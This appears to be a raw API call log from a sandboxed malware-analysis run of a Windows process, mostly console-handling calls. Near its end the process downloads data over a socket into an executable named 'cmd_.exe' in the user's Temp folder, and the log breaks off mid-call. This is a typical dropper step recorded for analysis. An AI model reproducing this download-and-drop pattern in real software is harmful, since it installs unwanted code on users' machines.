[0065.827] GetConsoleOutputCP () returned 0x1b5 [0065.827] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788a0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788a0) returned 0 [0065.830] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x27 [0065.830] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x27, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.832] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b [0065.832] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2b, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.835] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0065.835] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x1c678790 | out: lpConsoleScreenBufferInfo=0x1c678790) returned 1 [0065.835] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0xc) returned 1 [0065.835] CloseHandle (hObject=0x2f) returned 1 [0065.838] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0065.838] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x1c678790 | out: lpConsoleScreenBufferInfo=0x1c678790) returned 1 [0065.838] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0xc) returned 1 [0065.838] CloseHandle (hObject=0x2f) returned 1 [0065.841] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0065.841] GetConsoleMode (in: hConsoleHandle=0x2f, lpMode=0x1c678870 | out: lpMode=0x1c678870) returned 1 [0065.841] WriteConsoleW (in: hConsoleOutput=0x2f, lpBuffer=0x310dc18*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x1c678840, lpReserved=0x0 | out: lpBuffer=0x310dc18*, lpNumberOfCharsWritten=0x1c678840*=0x4f) returned 1 [0065.841] CloseHandle (hObject=0x2f) returned 1 [0065.844] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0065.844] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x1c678790 | out: lpConsoleScreenBufferInfo=0x1c678790) returned 1 [0065.844] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0065.844] CloseHandle (hObject=0x2f) returned 1 [0065.847] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0065.847] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x1c678790 | out: lpConsoleScreenBufferInfo=0x1c678790) returned 1 [0065.847] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0065.848] GetConsoleOutputCP () returned 0x1b5 [0065.848] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788a0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788a0) returned 0 [0065.850] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33 [0065.851] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x33, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.853] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37 [0065.853] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x37, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.856] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0065.856] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x1c678790 | out: lpConsoleScreenBufferInfo=0x1c678790) returned 1 [0065.856] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0xc) returned 1 [0065.857] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0xc) returned 1 [0065.857] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1 [0065.858] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1 [0065.859] GetConsoleOutputCP () returned 0x1b5 [0065.859] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788a0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788a0) returned 0 [0065.861] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0065.861] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.864] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43 [0065.864] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x43, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.866] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0065.867] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x1c678790 | out: lpConsoleScreenBufferInfo=0x1c678790) returned 1 [0065.867] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0xc) returned 1 [0065.867] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0xc) returned 1 [0065.868] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0x7) returned 1 [0065.869] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0x7) returned 1 [0065.870] GetConsoleOutputCP () returned 0x1b5 [0065.870] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788a0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788a0) returned 0 [0065.872] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b [0065.872] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4b, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.875] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0065.875] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.877] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0065.878] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x1c678790 | out: lpConsoleScreenBufferInfo=0x1c678790) returned 1 [0065.878] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0xc) returned 1 [0065.878] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0xc) returned 1 [0065.879] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0x7) returned 1 [0065.880] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0x7) returned 1 [0065.881] GetConsoleOutputCP () returned 0x1b5 [0065.881] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788a0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788a0) returned 0 [0065.883] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57 [0065.883] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x57, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.886] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b [0065.886] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5b, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.888] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0065.889] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x1c678790 | out: lpConsoleScreenBufferInfo=0x1c678790) returned 1 [0065.889] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0xc) returned 1 [0065.889] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0xc) returned 1 [0065.890] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0065.891] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0065.892] GetConsoleOutputCP () returned 0x1b5 [0065.892] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788a0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788a0) returned 0 [0065.894] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x63 [0065.894] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.897] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67 [0065.897] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x67, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.899] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0065.900] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x1c678790 | out: lpConsoleScreenBufferInfo=0x1c678790) returned 1 [0065.900] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0xc) returned 1 [0065.900] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0xc) returned 1 [0065.901] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0x7) returned 1 [0065.902] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0x7) returned 1 [0065.903] GetConsoleOutputCP () returned 0x1b5 [0065.903] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788a0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788a0) returned 0 [0065.905] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0065.905] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.908] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x73 [0065.908] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x73, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.910] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0065.910] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x1c678790 | out: lpConsoleScreenBufferInfo=0x1c678790) returned 1 [0065.911] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0xc) returned 1 [0065.911] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0xc) returned 1 [0065.912] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0x7) returned 1 [0065.913] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0x7) returned 1 [0065.914] GetConsoleOutputCP () returned 0x1b5 [0065.914] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788a0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788a0) returned 0 [0065.916] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b [0065.916] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7b, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.919] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7f [0065.919] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7f, lpConsoleScreenBufferInfo=0x1c6787c0 | out: lpConsoleScreenBufferInfo=0x1c6787c0) returned 1 [0065.921] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x83 [0065.922] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x83, lpConsoleScreenBufferInfo=0x1c678790 | out: lpConsoleScreenBufferInfo=0x1c678790) returned 1 [0065.922] SetConsoleTextAttribute (hConsoleOutput=0x83, wAttributes=0xc) returned 1 [0065.922] SetConsoleTextAttribute (hConsoleOutput=0x83, wAttributes=0xc) returned 1 [0065.923] SetConsoleTextAttribute (hConsoleOutput=0x83, wAttributes=0x7) returned 1 [0065.924] SetConsoleTextAttribute (hConsoleOutput=0x83, wAttributes=0x7) returned 1 [0065.929] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.929] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.929] CoTaskMemFree (pv=0x18c780) [0065.942] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x83 [0065.942] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x83, lpConsoleScreenBufferInfo=0x1c67d320 | out: lpConsoleScreenBufferInfo=0x1c67d320) returned 1 [0065.945] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x87 [0065.945] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x87, lpConsoleScreenBufferInfo=0x1c67d320 | out: lpConsoleScreenBufferInfo=0x1c67d320) returned 1 [0065.948] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8b [0065.948] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8b, lpConsoleScreenBufferInfo=0x1c67d2f0 | out: lpConsoleScreenBufferInfo=0x1c67d2f0) returned 1 [0065.950] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f [0065.950] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x1c67d2f0 | out: lpConsoleScreenBufferInfo=0x1c67d2f0) returned 1 [0065.953] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x93 [0065.953] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x93, lpConsoleScreenBufferInfo=0x1c67d2c0 | out: lpConsoleScreenBufferInfo=0x1c67d2c0) returned 1 [0065.953] SetConsoleTextAttribute (hConsoleOutput=0x93, wAttributes=0x7) returned 1 [0065.953] CloseHandle (hObject=0x93) returned 1 [0065.956] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x93 [0065.956] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x93, lpConsoleScreenBufferInfo=0x1c67d2c0 | out: lpConsoleScreenBufferInfo=0x1c67d2c0) returned 1 [0065.956] SetConsoleTextAttribute (hConsoleOutput=0x93, wAttributes=0x7) returned 1 [0065.956] CloseHandle (hObject=0x93) returned 1 [0065.959] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x93 [0065.959] GetConsoleMode (in: hConsoleHandle=0x93, lpMode=0x1c67d3a0 | out: lpMode=0x1c67d3a0) returned 1 [0065.959] WriteConsoleW (in: hConsoleOutput=0x93, lpBuffer=0x2f0c0f8*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x1c67d370, lpReserved=0x0 | out: lpBuffer=0x2f0c0f8*, lpNumberOfCharsWritten=0x1c67d370*=0x1e) returned 1 [0065.959] CloseHandle (hObject=0x93) returned 1 [0065.962] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x93 [0065.962] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x93, lpConsoleScreenBufferInfo=0x1c67d2c0 | out: lpConsoleScreenBufferInfo=0x1c67d2c0) returned 1 [0065.962] SetConsoleTextAttribute (hConsoleOutput=0x93, wAttributes=0x7) returned 1 [0065.962] CloseHandle (hObject=0x93) returned 1 [0065.965] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x93 [0065.965] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x93, lpConsoleScreenBufferInfo=0x1c67d2c0 | out: lpConsoleScreenBufferInfo=0x1c67d2c0) returned 1 [0065.965] SetConsoleTextAttribute (hConsoleOutput=0x93, wAttributes=0x7) returned 1 [0065.965] CloseHandle (hObject=0x93) returned 1 [0065.968] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x93 [0065.968] GetConsoleMode (in: hConsoleHandle=0x93, lpMode=0x1c67d510 | out: lpMode=0x1c67d510) returned 1 [0065.968] WriteConsoleW (in: hConsoleOutput=0x93, lpBuffer=0x2c1db30*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x1c67d4e0, lpReserved=0x0 | out: lpBuffer=0x2c1db30*, lpNumberOfCharsWritten=0x1c67d4e0*=0x1) returned 1 [0065.968] CloseHandle (hObject=0x93) returned 1 [0065.970] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.970] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.970] CoTaskMemFree (pv=0x18c780) [0065.971] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.971] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp") returned 0x24 [0065.971] CoTaskMemFree (pv=0x18c780) [0065.976] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0065.976] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp") returned 0x24 [0065.976] CoTaskMemFree (pv=0x18c780) [0065.983] SetConsoleTextAttribute (hConsoleOutput=0xa3, wAttributes=0x7) returned 1 [0065.984] CloseHandle (hObject=0xa3) returned 1 [0065.986] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa3 [0065.987] SetConsoleTextAttribute (hConsoleOutput=0xa3, wAttributes=0x7) returned 1 [0065.987] CloseHandle (hObject=0xa3) returned 1 [0065.989] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa3 [0065.990] SetConsoleTextAttribute (hConsoleOutput=0xa3, wAttributes=0x7) returned 1 [0065.990] CloseHandle (hObject=0xa3) returned 1 [0065.993] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa3 [0065.993] SetConsoleTextAttribute (hConsoleOutput=0xa3, wAttributes=0x7) returned 1 [0065.994] CloseHandle (hObject=0xa3) returned 1 [0065.996] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa3 [0066.027] GetLongPathNameW (in: lpszShortPath="C:\\Users\\QJ4SUK~1\\", lpszLongPath=0x1c67cca0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\qj4SUKboE\\") returned 0x13 [0066.027] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\AppData\\Local\\Temp\\cmd_.exe", nBufferLength=0x105, lpBuffer=0x1c67cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\AppData\\Local\\Temp\\cmd_.exe", lpFilePart=0x0) returned 0x2e [0066.027] SetErrorMode (uMode=0x1) returned 0x1 [0066.028] CreateFileW (lpFileName="C:\\Users\\qj4SUKboE\\AppData\\Local\\Temp\\cmd_.exe" (normalized: "c:\\users\\qj4sukboe\\appdata\\local\\temp\\cmd_.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4cc [0066.028] GetFileType (hFile=0x4cc) returned 0x1 [0066.028] SetErrorMode (uMode=0x1) returned 0x1 [0066.028] GetFileType (hFile=0x4cc) returned 0x1 [0066.028] SetEvent (hEvent=0x368) returned 1 [0066.029] select (in: nfds=0, readfds=0x3143528, writefds=0x0, exceptfds=0x0, timeout=0x1c67d010 | out: readfds=0x3143528, writefds=0x0, exceptfds=0x0) returned 0 [0066.030] send (in: s=0x49c, buf=0x31436f0*, len=48, flags=0 | out: buf=0x31436f0*) returned 48 [0066.031] setsockopt (s=0x49c, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0066.031] recv (in: s=0x49c, buf=0x2eeb200, len=4096, flags=0 | out: buf=0x2eeb200*) returned 1448 [0066.084] setsockopt (s=0x49c, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0066.085] recv (in: s=0x49c, buf=0x3144310, len=65536, flags=0 | out: buf=0x3144310*) returned 11584 [0066.088] WriteFile (in: hFile=0x4cc, lpBuffer=0x3154328*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1c67d168, lpOverlapped=0x0 | out: lpBuffer=0x3154328*, lpNumberOfBytesWritten=0x1c67d168*=0x1000, lpOverlapped=0x0) returned 1 [0066.089] WriteFile (in: hFile=0x4cc, lpBuffer=0x3144e6b*, nNumberOfBytesToWrite=0x21e5, lpNumberOfBytesWritten=0x1c67d1c8, lpOverlapped=0x0 | out: lpBuffer=0x3144e6b*, lpNumberOfBytesWritten=0x1c67d1c8*=0x21e5, lpOverlapped=0x0) returned 1 [0066.089] recv (in: s=0x49c, buf=0x3144310, len=65536, flags=0 | out: buf=0x3144310*) returned 65536 [0066.330] WriteFile (in: hFile=0x4cc, lpBuffer=0x3144310*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x1c67d1c8, lpOverlapped=0x0 | out: lpBuffer=0x3144310*, lpNumberOfBytesWritten=0x1c67d1c8*=0x10000, lpOverlapped=0x0) returned 1 [0066.330] recv (in: s=0x49c, buf=0x3144310, len=65536, flags=0 | out: buf=0x3144310*) returned 21584 [0066.331] WriteFile (in: hFile=0x4cc, lpBuffer=0x3144310*, nNumberOfBytesToWrite=0x5450, lpNumberOfBytesWritten=0x1c67d1c8, lpOverlapped=0x0 | out: lpBuffer=0x3144310*, lpNumberOfBytesWritten=0x1c67d1c8*=0x5450, lpOverlapped=0x0) returned 1 [0066.331] recv (in: s=0x49c, buf=0x3144310, len=65536, flags=0 | out: buf=0x3144310*) returned 63888 [0066.401] WriteFile 